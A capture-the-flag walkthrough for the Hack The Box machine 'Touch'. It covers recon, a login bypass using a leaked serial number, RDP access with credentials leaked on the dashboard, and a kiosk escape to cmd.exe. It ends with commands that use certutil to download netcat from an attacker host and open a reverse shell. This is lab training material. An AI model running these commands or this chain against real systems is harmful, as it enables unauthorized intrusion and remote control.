🛂 HTB Touch -- Solution Notes

Platform: Hack The Box Machine: Touch OS: Windows (Server 2025 / Win11 24H2, Build 26100) Difficulty: Easy Date: October 21, 2026

🗺️ Attack Chain

Nmap → Web recon (Nexion DeviceHub) → Unauthenticated info disclosure (/api/status leaks serial) → Login (serial = password) → Device credentials leaked on dashboard (KioskUser) → RDP connection → Trapped inside HTB Airways kiosk → Power Off the scanner → Troubleshoot link in error dialog → Edge opens → Ctrl+O launches cmd.exe (kiosk escape) → user.txt → MySQL credentials in backend source → MySQL root password in refresh-dates.bat → Weak plugin directory permissions → UDF (sys_eval) → NT AUTHORITY\SYSTEM → root.txt

🧠 How Does a Hacker Think? -- Before You Begin

The biggest lesson on this machine is this: the box deliberately lures you into hunting for a web vulnerability and wastes your time. There is a nice API, a file upload, MRZ passport processing, settings fields. Your instinct screams "there must be a command injection or an SSRF here" and you dig for hours. But there isn't. None of it is real.

The actual path lives in a completely different layer: use the leaked credentials to connect over RDP and escape a kiosk application.

Two core questions save you on this box:

First, when one service (WinRM) rejects a credential, do not throw that credential away as "invalid on Windows." The same credential may work on another service (RDP). Services are authorized independently.

Second, if you cannot find a vulnerability for hours, you are probably looking in the wrong layer. Step back and ask: "What do I already have? Which port is open, which credential is in my hand, and what do these give me in the simplest possible form?"

1️⃣ Reconnaissance

Port Scanning

First we scan all ports quickly to build a complete inventory. By default nmap only scans the 1000 most common ports; -p- covers all 65535.

bash

nmap -p- --min-rate 10000 -oN scans/allports.nmap 10.129.15.216

Open ports found:

• 135 -- msrpc (Windows RPC)
• 3389 -- RDP (Remote Desktop)
• 5985 -- WinRM (remote PowerShell management)
• 8443 -- https-alt (a web application)

Then a service and version detection scan on those four ports:

bash

nmap -p 135,3389,5985,8443 -sV -sC -oN scans/services.nmap 10.129.15.216

The most valuable finding is on 8443: a web application named Nexion DeviceHub - Login that redirects to /login. We also see http-cors: GET POST PUT OPTIONS, which tells us there is an API that responds to methods like PUT.

🧠 How Does a Hacker Think? -- Every Port Is a Door

Nmap showed us four doors. RDP and WinRM are "entry doors": the ways you get in once you have a credential. But we have no credential yet. So the first move is to look at the web service (8443), which is the thing that will hand us information.

Important reflex: nmap is only the starting point. The real recon happens in the browser and at the request level. You have to knock on each door nmap revealed, one by one.

2️⃣ Web Application Discovery

The service runs over plain HTTP (it opens in the browser with http://, not https:// -- the "wrong version number" error in curl was the clue). The login page source tells us two important things:

First, a password form: a single field (password), posted to /login. The hint below reads: "the default password is the device serial number."

Second, a badge login: it posts to /login/badge. (This is a decoy; spending hours feeding the provided Jenny Crawford / KS7X2M into this badge API is a dead end, because that code belongs somewhere else.)

Directory and API Enumeration

bash

ffuf -u http://10.129.15.216:8443/FUZZ -w /path/raft-medium-directories.txt -mc 200,301,401,403 -fs 0

This finds /login (200) and /api (403). The 403 is meaningful: "this path exists but access is denied," which means there is something there.

Fuzzing under /api reveals /api/status, which leaks the single most critical piece of information without any authentication:

bash

curl -s http://10.129.15.216:8443/api/status

json

{"device":"Nexion DeviceHub DH-100","serial":"NX-DH-2024-B7042","firmware":"1.4.2","status":"online"}

🧠 How Does a Hacker Think? -- The Information Disclosure Chain

The login page says "password = serial number." The same application hands out that serial number in the clear through an unauthenticated API endpoint (/api/status). This is the chain: two pieces of information that look harmless on their own (a rule and a value) collapse the authentication when stacked together. The hacker's job is to connect those two ends.

3️⃣ Login -- Serial Number as Password

We try the leaked serial number as the password:

bash

curl -s -i -X POST http://10.129.15.216:8443/login \  -H "Content-Type: application/x-www-form-urlencoded" \  -d "password=NX-DH-2024-B7042"

Response: 302 Found, Location: /dashboard, and a session cookie (Set-Cookie: nxsession=...). We are in.

Credential Leak on the Dashboard

In the dashboard HTML, the scanner and printer device credentials sit embedded right behind the "show" buttons:

KioskUser : K!0sk2026#

🧠 How Does a Hacker Think? -- Time Wasted on the Wrong Path (Key Lesson)

Here it is worth being honest. We saw the dashboard and immediately started hunting for a "web vulnerability." The things we tried for hours, all of which came up empty:

MRZ text injection (passport image processing), command injection in the format/resolution fields, path traversal (blocked by HTTP.sys at the kernel level), PUT file write, feeding a URL to the upload endpoint (an SSRF attempt), and WinRM login with KioskUser.

All of it was empty, because there is no web exploit on this box. The machine deliberately pulled us in that direction.

The real mistake was hidden here: WinRM rejected the KioskUser credential. We then filed the whole credential family under "doesn't work on Windows." But the WinRM rejection was because the account has no WinRM privilege, not because the password was wrong. RDP (3389) was open the whole time and that credential worked there.

Lesson: Do not skip a credential on other services just because one service rejected it. And if you cannot find a vulnerability for hours, step back with "maybe I am looking in the wrong layer."

4️⃣ Foothold -- RDP Connection

First we confirm the credential is valid over RDP (nxc may choke on a protocol mismatch, so connecting directly with xfreerdp is more reliable):

bash

xfreerdp3 /v:10.129.15.216 /u:KioskUser /p:'K!0sk2026#' /cert:ignore +clipboard /dynamic-resolution

Once connected, instead of a full desktop we get a restricted HTB Airways Self Check-in kiosk application. This application is designed to keep us out of the Windows desktop.

5️⃣ Kiosk Escape (The Clever Part)

Progression inside the kiosk:

Start with "Touch Screen to Begin," pick a language. Then on the "Find Your Booking" screen enter the provided details: booking reference KS7X2M, last name CRAWFORD. (This is where KS7X2M actually belongs, not the badge API.) Note: this screen has a countdown; if you enter too slowly it says "Booking not found" and sends you back to the start.

After the booking, you reach the Document Verification screen, which asks you to scan a passport. We will deliberately break this scan.

Power off the scanner from the DeviceHub dashboard (or via the API):

bash

curl -s -X POST http://10.129.15.216:8443/api/scanner/power \  -b "nxsession=..." -H "Content-Type: application/json" -d '{"powered":false}'

Then press "SCAN PASSPORT" in the kiosk. Because the scanner does not respond, an error dialog appears: SCN-ERR-4092, "Nexion DocReader SR-4200 has stopped responding", containing a clickable troubleshoot link:

https://support.nexionsystems.com/docreader/troubleshoot

🧠 How Does a Hacker Think? -- The Kiosk Escape Logic

Kiosk applications trap you in a single window. The way out is to find a moment where the application itself hands you off to a different application in a controlled way. Here that moment is the hyperlink in the error dialog: clicking it opens a browser (Edge) outside the kiosk.

Once a browser is open, the game is over. A browser's file open dialog (Ctrl+O) is effectively a full Windows file explorer: you can navigate to any folder and launch a program. It does not matter that the site fails to load (the lab has no internet); all we need is for the browser itself to open.

Reaching cmd.exe

Click the troubleshoot link, Edge opens. In the browser press Ctrl + O (file open dialog). In the path box type:

C:\Windows\System32\cmd.exe

cmd.exe launches and a real command prompt opens outside the kiosk. Prompt: C:\Users\KioskUser>. We have escaped the kiosk.

🚩 User Flag

type C:\Users\KioskUser\Desktop\user.txt

6️⃣ A More Comfortable Shell -- Reverse Shell

Copy-paste into the cmd window inside RDP is painful. We use netcat to get a reverse shell back to Kali and continue from there.

On Kali, serve the netcat binary from an HTTP server:

bash

cp /usr/share/windows-resources/binaries/nc.exe ~/htb/touch/python3 -m http.server 8000      # separate terminalnc -lvnp 4444                     # separate terminal (listener)

On the target (RDP cmd) download nc.exe and connect back:

certutil -urlcache -f http://10.10.16.123:8000/nc.exe C:\Users\KioskUser\nc.exe
C:\Users\KioskUser\nc.exe 10.10.16.123 4444 -e cmd.exe

A C:\Users\KioskUser> prompt appears in the Kali listener. From now on we type all commands from Kali.